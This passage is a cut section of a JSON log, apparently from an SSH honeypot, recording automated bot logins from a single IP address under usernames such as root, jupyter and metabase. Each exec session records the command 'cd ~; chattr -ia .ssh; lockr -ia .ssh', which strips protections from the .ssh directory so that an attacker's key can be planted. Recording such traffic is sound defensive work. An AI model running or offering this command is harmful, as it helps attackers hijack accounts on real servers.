  "id": "255d38df-02f0-4cca-898c-7b78b044f7ea",
  "name": "marine-knotted-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 38998,
  "username": "asag",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:11:25.039414+00:00",
  "ended_at": "2026-08-26T17:11:26.414109+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "7b35d1a5-be87-4373-93ba-622815c7a215",
  "name": "thrifty-pristine-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53098,
  "username": "asag",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:11:07.091803+00:00",
  "ended_at": "2026-08-26T17:11:07.766421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "644fcaeb-3a73-4adc-8c26-8790cb96fffb",
  "name": "wandering-quaint-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53084,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:11:04.520335+00:00",
  "ended_at": "2026-08-26T17:11:06.046007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29b3df17-c552-48fc-bff5-8d8f330f9603",
  "name": "stoic-creaky-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:08:26.813864+00:00",
  "ended_at": "2026-08-26T17:08:28.398127+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "d41ca9f9-e70f-461a-9368-7cf0fd0aa5a3",
  "name": "feral-vaulted-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43124,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:08:08.345695+00:00",
  "ended_at": "2026-08-26T17:08:09.683539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a202b5e-8120-4b87-aea6-581fddbe819f",
  "name": "plucky-gilded-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43118,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:08:06.577011+00:00",
  "ended_at": "2026-08-26T17:08:07.299966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ca54ba6-e0a4-4626-b417-5f43c9cc5874",
  "name": "somber-gentle-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 60100,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:05:33.235416+00:00",
  "ended_at": "2026-08-26T17:05:34.581998+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "573dbdf9-2aa6-493f-9718-b4d98741999f",
  "name": "peaty-deft-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 38412,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:05:14.782450+00:00",
  "ended_at": "2026-08-26T17:05:15.643560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad50ed75-a144-4606-8caa-bd71607028e0",
  "name": "gentle-idle-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 60102,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:05:12.088159+00:00",
  "ended_at": "2026-08-26T17:05:13.738132+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f0bee0b-ab92-4117-82fc-9ef6d2db3505",
  "name": "murky-blazing-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 39672,
  "username": "metabase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:02:42.709476+00:00",
  "ended_at": "2026-08-26T17:02:44.147919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "d4d1d282-a964-4c42-88f8-0786f4f14fdb",
  "name": "dutiful-crisp-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39810,
  "username": "metabase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:02:23.624356+00:00",
  "ended_at": "2026-08-26T17:02:24.900514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e54c558-cbfb-436b-88d0-8a79181c5e70",
  "name": "keen-rugged-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:02:20.635518+00:00",
  "ended_at": "2026-08-26T17:02:22.551277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b08d1268-1073-4121-9931-19eb832d67e7",
  "name": "freckled-thorny-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33064,
  "username": "jupyter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:59:41.891718+00:00",
  "ended_at": "2026-08-26T16:59:43.572865+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "355b980e-5906-4227-9f8b-0b777e1558c2",
  "name": "windswept-proud-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40912,
  "username": "jupyter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:59:24.007341+00:00",
  "ended_at": "2026-08-26T16:59:24.697855+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c42b39f-76f3-4bf8-add9-681eccc3d0ef",
  "name": "buoyant-hazel-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:59:21.400547+00:00",
  "ended_at": "2026-08-26T16:59:22.947068+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b64052af-e251-4e94-bc05-5ff4676c7fa5",
  "name": "dusky-tawny-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 53834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:56:41.435014+00:00",
  "ended_at": "2026-08-26T16:56:42.891316+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "d6519182-f2c0-4fce-9a52-28fb90e012d4",
  "name": "civil-granite-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53860,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:56:21.048606+00:00",
  "ended_at": "2026-08-26T16:56:22.704066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9913cfb8-66af-4c98-a57c-30f2e6e68b18",
  "name": "courtly-kindly-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:56:17.974428+00:00",
  "ended_at": "2026-08-26T16:56:20.001029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24cde9e0-a18e-47da-b329-6317d940d3bf",
  "name": "stoic-hearty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43112,
  "username": "jenny1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:53:36.175527+00:00",
  "ended_at": "2026-08-26T16:53:37.626016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "79de2b5d-1c4e-49ca-bea9-87af1335f7b8",
  "name": "proud-sleepy-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58732,
  "username": "jenny1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:53:17.682100+00:00",
  "ended_at": "2026-08-26T16:53:19.356813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "177b66ad-4e1a-4b73-acc1-c33de64e160e",
  "name": "graceful-tidal-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:53:14.638238+00:00",
  "ended_at": "2026-08-26T16:53:16.625029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "815c960d-2ca0-4ed4-8fa8-222a00322bf7",
  "name": "stoic-sincere-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43722,
  "username": "store",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:50:37.663189+00:00",
  "ended_at": "2026-08-26T16:50:39.241651+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "3f24c622-98ad-46bb-85b9-42d75d63aedd",
  "name": "sincere-hidden-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43748,
  "username": "store",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:50:19.182780+00:00",
  "ended_at": "2026-08-26T16:50:20.337855+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56e73ca8-6331-41a5-81b0-29f1080da30a",
  "name": "jagged-hollow-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:50:17.261770+00:00",
  "ended_at": "2026-08-26T16:50:18.131541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "399c04e2-db52-4a37-8947-ae9cba25946a",
  "name": "weathered-noble-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:47:42.889485+00:00",
  "ended_at": "2026-08-26T16:47:44.105346+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "23b33203-9115-4232-8731-25b133eadaab",
  "name": "granite-upland-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:47:23.969690+00:00",
  "ended_at": "2026-08-26T16:47:25.627125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14d2c5e0-4cee-431f-a08b-00f00f13c674",
  "name": "sooty-reedy-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43472,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:47:21.658223+00:00",
  "ended_at": "2026-08-26T16:47:22.890316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a658bcf5-063f-4dff-8e9a-afd117f622cb",
  "name": "sturdy-glacial-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 54946,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:44:52.681323+00:00",
  "ended_at": "2026-08-26T16:44:54.097677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2236
 },
 {
  "id": "4bbebc15-b4e6-4b19-b9ad-008fad19603a",
  "name": "quaint-blunt-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:44:34.007144+00:00",
  "ended_at": "2026-08-26T16:44:35.729672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "097eaef9-bb9a-437d-a128-a58c78fa598a",
  "name": "crisp-somber-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 54960,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:44:31.119620+00:00",
  "ended_at": "2026-08-26T16:44:32.930720+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc749601-cd80-4f73-991b-77c916554db9",
  "name": "crystal-sandy-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56228,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:41:54.034654+00:00",
  "ended_at": "2026-08-26T16:41:55.391110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "cdcf1c98-36d6-4880-87e8-7ba3d67ebaa5",
  "name": "creaky-hearty-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59816,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:41:36.145122+00:00",
  "ended_at": "2026-08-26T16:41:37.120210+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f49d22c-029c-4756-be50-07286007744e",
  "name": "breezy-nimble-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56236,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:41:33.442868+00:00",
  "ended_at": "2026-08-26T16:41:35.095359+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cf5ac88-aba7-4987-86b4-c7729d5c142d",
  "name": "sincere-lively-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:39:02.987858+00:00",
  "ended_at": "2026-08-26T16:39:04.412047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2214
 },
 {
  "id": "1f638260-5820-4014-83e7-11f9ff04d88e",
  "name": "lawful-fierce-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:38:43.629636+00:00",
  "ended_at": "2026-08-26T16:38:45.607632+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09e12951-c33e-4d9f-aea1-dc0b799da85c",
  "name": "rugged-alpine-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40518,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:38:41.441745+00:00",
  "ended_at": "2026-08-26T16:38:42.577002+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfe32516-dbf5-44c6-aa2a-50a49dc95018",
  "name": "graceful-smooth-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35794,
  "username": "paid",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:36:02.128642+00:00",
  "ended_at": "2026-08-26T16:36:03.176412+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "66a97333-707c-4226-abbe-facf756ed8c2",
  "name": "cunning-gleaming-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47654,
  "username": "paid",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:35:43.697397+00:00",
  "ended_at": "2026-08-26T16:35:45.264008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00e98c4e-b2c8-491d-b9f9-2b4605821877",
  "name": "fleeting-snowy-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35802,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:35:41.884023+00:00",
  "ended_at": "2026-08-26T16:35:42.638610+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b91537f6-9ff1-4eeb-af5b-04d617557b37",
  "name": "airy-honest-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:33:02.375277+00:00",
  "ended_at": "2026-08-26T16:33:03.404191+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "fb5e7a6c-f421-4d3e-be65-33e066c5b07c",
  "name": "inland-vigilant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:32:43.559475+00:00",
  "ended_at": "2026-08-26T16:32:44.690765+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "067f93ba-5020-4c08-af5e-c61b27d3ce85",
  "name": "gritty-early-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:32:40.783989+00:00",
  "ended_at": "2026-08-26T16:32:42.510712+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75affbd1-c17d-485c-9aea-c1c42dbbde55",
  "name": "painted-graceful-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 36700,
  "username": "karen",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:29:58.222822+00:00",
  "ended_at": "2026-08-26T16:29:59.668350+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2135
 },
 {
  "id": "643631d5-b431-48b3-b27a-883a0e35a5d1",
  "name": "mighty-eager-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36720,
  "username": "karen",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:29:40.351163+00:00",
  "ended_at": "2026-08-26T16:29:41.271865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0929f6ba-2049-48b5-8fa7-9f1495b65fe4",
  "name": "ivory-misty-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:29:37.670666+00:00",
  "ended_at": "2026-08-26T16:29:39.305389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "655e187b-1b6c-4f6f-b8d0-b41b99e7244f",
  "name": "patient-early-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51188,
  "username": "wildfly",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:27:02.283756+00:00",
  "ended_at": "2026-08-26T16:27:03.790352+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2122
 },
 {
  "id": "89a1bd35-e268-4c97-b59d-54a814a726eb",
  "name": "valiant-inland-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51202,
  "username": "wildfly",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:26:42.998109+00:00",
  "ended_at": "2026-08-26T16:26:43.810826+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d1eeb71-18cc-4a26-98de-a23d50c15ea2",
  "name": "indigo-shifting-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:26:39.930556+00:00",
  "ended_at": "2026-08-26T16:26:41.943191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7309f578-a866-4771-bdff-e5bd2781e96b",
  "name": "blunt-honest-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:24:06.570257+00:00",
  "ended_at": "2026-08-26T16:24:08.047062+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "6d822c0c-0235-4c47-b7ed-0acd847d819a",
